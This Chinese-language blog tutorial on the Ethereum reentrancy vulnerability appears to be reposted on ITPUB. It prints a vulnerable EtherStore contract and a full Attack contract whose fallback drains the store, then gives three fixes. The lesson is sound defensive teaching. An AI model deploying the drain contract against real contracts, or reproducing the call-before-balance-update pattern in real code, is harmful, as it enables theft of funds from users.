《王小豬的區塊鏈安全課堂一》---重入漏洞
序
王小豬區塊鏈課堂主要介紹區塊鏈相關問題。課堂會以主題形式來介紹。
本篇技術課堂,討論的是以太坊智慧合約的重入漏洞。
重入漏洞
重入漏洞,就是利用智慧合約的Fallback機制,讓合約執行額外程式碼。所以先要介紹一下fallback機制。
每個以太坊的合約裡有且只有一個fallback函式。函式無引數,無返回值,當呼叫合約時,沒有任何匹配函式,就會預設呼叫fallback函式。
此外,當合約收到Ether轉賬時,這個函式也會被執行。不過執行這個函式會消耗2300gas(注: 這也是防止此類漏洞方法)
下面舉一個栗子來看下這個漏洞。
下面是一個被攻擊合約。實現了儲存和提取功能,且每次提取不能大於1ETH。
contract EtherStore { uint256 public withdrawalLimit = 1 ether; mapping(address => uint256) public lastWithdrawTime; mapping(address => uint256) public balances; function depositFunds() public payable { balances[msg.sender] += msg.value; } function withdrawFunds (uint256 _weiToWithdraw) public { require(balances[msg.sender] >= _weiToWithdraw); // limit the withdrawal require(_weiToWithdraw <= withdrawalLimit); // limit the time allowed to withdraw require(now >= lastWithdrawTime[msg.sender] + 1 weeks); require(msg.sender.call.value(_weiToWithdraw)()); balances[msg.sender] -= _weiToWithdraw; lastWithdrawTime[msg.sender] = now; } }
雖然合約的提取做了層層保護,但下面這幾行程式碼還是有漏洞的。
require(msg.sender.call.value(_weiToWithdraw)());
這句話會發起一個轉賬,如果被轉賬的賬號,存在如下攻擊合約。這個攻擊合約將一次轉走全部ETH。
import "EtherStore.sol"; contract Attack { EtherStore public etherStore; // intialise the etherStore variable with the contract address constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } function pwnEtherStore() public payable { // attack to the nearest ether require(msg.value >= 1 ether); // send eth to the depositFunds() function etherStore.depositFunds.value(1 ether)(); // start the magic etherStore.withdrawFunds(1 ether); } function collectEther() public { msg.sender.transfer(this.balance); } // fallback function - where the magic happens function () payable { if (etherStore.balance > 1 ether) { etherStore.withdrawFunds(1 ether); } } }
攻擊者先存入1ETH,在取出1ETH。程式碼如下:
etherStore.depositFunds.value(1 ether)();// start the magicetherStore.withdrawFunds(1 ether);
攻擊者,呼叫ethStore.withdrawFunds,觸發轉賬。而轉賬會啟用Fallback機制,也就是如下程式碼在轉賬會被啟用。
function () payable { if (etherStore.balance > 1 ether) { etherStore.withdrawFunds(1 ether); } }
而fallback函式又呼叫了一次,Ethstore的提取函式,而此時提取函式之前的保護完全失效,轉賬再次發生,fallback再次被調,Ethstore的提取函式再次被調。依次迴圈,直到取走全部ETH。
當withdrawFunds 被反覆呼叫時,如下的保護措施完全失效。
require(balances[msg.sender] >= _weiToWithdraw);// limit the withdrawalrequire(_weiToWithdraw <= withdrawalLimit);// limit the time allowed to withdrawrequire(now >= lastWithdrawTime[msg.sender] + 1 weeks);require(msg.sender.call.value(_weiToWithdraw)());
預防技術
這樣的漏洞有三種方法。
第一種
使用transfer 轉賬。而不是call.value方法。原因在於transfer只提供2300gas 用於轉賬。沒有多餘的gas執行fallback函式。注:使用transfer函式轉賬是良好的編碼習慣,之後談到未處理call結果的漏洞,也可以透過transfer函式解決。
第二種
調整原有程式碼順序,先扣錢再轉賬。也就是改成這樣。
balances[msg.sender] -= _weiToWithdraw; lastWithdrawTime[msg.sender] = now;require(msg.sender.call.value(_weiToWithdraw)());//balances[msg.sender] -= _weiToWithdraw;//lastWithdrawTime[msg.sender] = now;
第三種
加入互斥鎖,類似執行緒鎖。
如下程式碼為全部三種技術都用的新合約。注: 一種技術就可以,不過為了展示所以都顯示
contract EtherStore { // initialise the mutex bool reEntrancyMutex = false; uint256 public withdrawalLimit = 1 ether; mapping(address => uint256) public lastWithdrawTime; mapping(address => uint256) public balances; function depositFunds() public payable { balances[msg.sender] += msg.value; } function withdrawFunds (uint256 _weiToWithdraw) public { require(!reEntrancyMutex); require(balances[msg.sender] >= _weiToWithdraw); // limit the withdrawal require(_weiToWithdraw <= withdrawalLimit); // limit the time allowed to withdraw require(now >= lastWithdrawTime[msg.sender] + 1 weeks); balances[msg.sender] -= _weiToWithdraw; lastWithdrawTime[msg.sender] = now; // set the reEntrancy mutex before the external call reEntrancyMutex = true; msg.sender.transfer(_weiToWithdraw); // release the mutex after the external call reEntrancyMutex = false; } }
這個漏洞也是以太坊早期重要的漏洞,也就是著名的DAO攻擊,也導致ETC的分叉。
本期課堂就介紹到這,下期介紹溢位漏洞。
我是王小豬,一隻找瘋的豬!
作者:王小豬的簡書
連結:
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/4422/viewspace-2818020/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 【區塊鏈安全課堂】Soildity安全之交易順序依賴區塊鏈
- Bit-Z課堂:神奇的區塊鏈區塊鏈
- 區塊鏈合約安全系列(二):如何認識及預防公鏈合約中的重入攻擊漏洞區塊鏈
- 最近收藏的區塊鏈課程(定期更新中),全方位解讀區塊鏈,助力論壇『區塊鏈安全』區塊鏈
- 區塊鏈安全————區塊鏈技術安全討論區塊鏈
- 小碼王應用無影打造純淨課堂
- 區塊鏈平臺EOS現系列高危安全漏洞區塊鏈
- 區塊鏈位元豬軟體app開發區塊鏈APP
- 區塊鏈安全思考區塊鏈
- 區塊鏈的幾個小故事.小白學區塊鏈01區塊鏈
- 區塊鏈安全性:瞭解漏洞並降低風險區塊鏈
- 慢霧安全海賊王:從DApp亡靈軍團,細說區塊鏈安全APP區塊鏈
- 一文讀懂區塊鏈安全:區塊鏈會帶來哪些衝擊?區塊鏈
- 區塊鏈有哪些特徵,幣信打造安全好用的區塊鏈區塊鏈特徵
- 區塊鏈DAPP的小知識區塊鏈APP
- 區塊鏈系列6-區塊鏈安全與大資料區塊鏈大資料
- 用 Python 構建一個極小的區塊鏈Python區塊鏈
- 區塊鏈每日一問 | 什麼是區塊鏈的“分叉”?區塊鏈
- 騰訊安全玄武實驗室披露多個區塊鏈安全漏洞報告區塊鏈
- 區塊鏈雲盤的資料安全區塊鏈
- 區塊鏈安全:基於區塊鏈網路攻擊的方式原理詳解區塊鏈
- 區塊鏈課堂|讀懂公鏈學開發:深入淺出剖析比原鏈技術特性(線上免費)區塊鏈
- 山石巖讀丨一文讀懂區塊鏈安全:區塊鏈到底是什麼?區塊鏈
- matlab小課堂01—向量的建立Matlab
- 10小時掌握區塊鏈開發教程-CSDN公開課-專題視訊課程區塊鏈
- 區塊鏈技術公司談以色用區塊鏈改善網路安全區塊鏈
- 成都鏈安CEO楊霞:打通區塊鏈生態安全資訊屏障,守護區塊鏈生態安全區塊鏈
- 區塊鏈100講:區塊鏈為什麼叫“區塊”“鏈”?區塊鏈
- 【區塊鏈技術】區塊鏈的一些相關演算法區塊鏈演算法
- 一個簡單的區塊鏈區塊鏈
- “區塊”和“鏈”的火花,區塊鏈到底為何物區塊鏈
- Flutter小課堂:Text知多少Flutter
- 江民小課堂之防毒引擎防毒
- 投資區塊鏈專案的四大必修課區塊鏈
- 區塊鏈安全————DAO攻擊事件解析區塊鏈事件
- 區塊鏈課程——高校興起“加密教育熱”區塊鏈加密
- 區塊鏈專項課程學習筆記區塊鏈筆記
- 區塊鏈應用|CryptoKitties效應:一個與區塊鏈有關的事故區塊鏈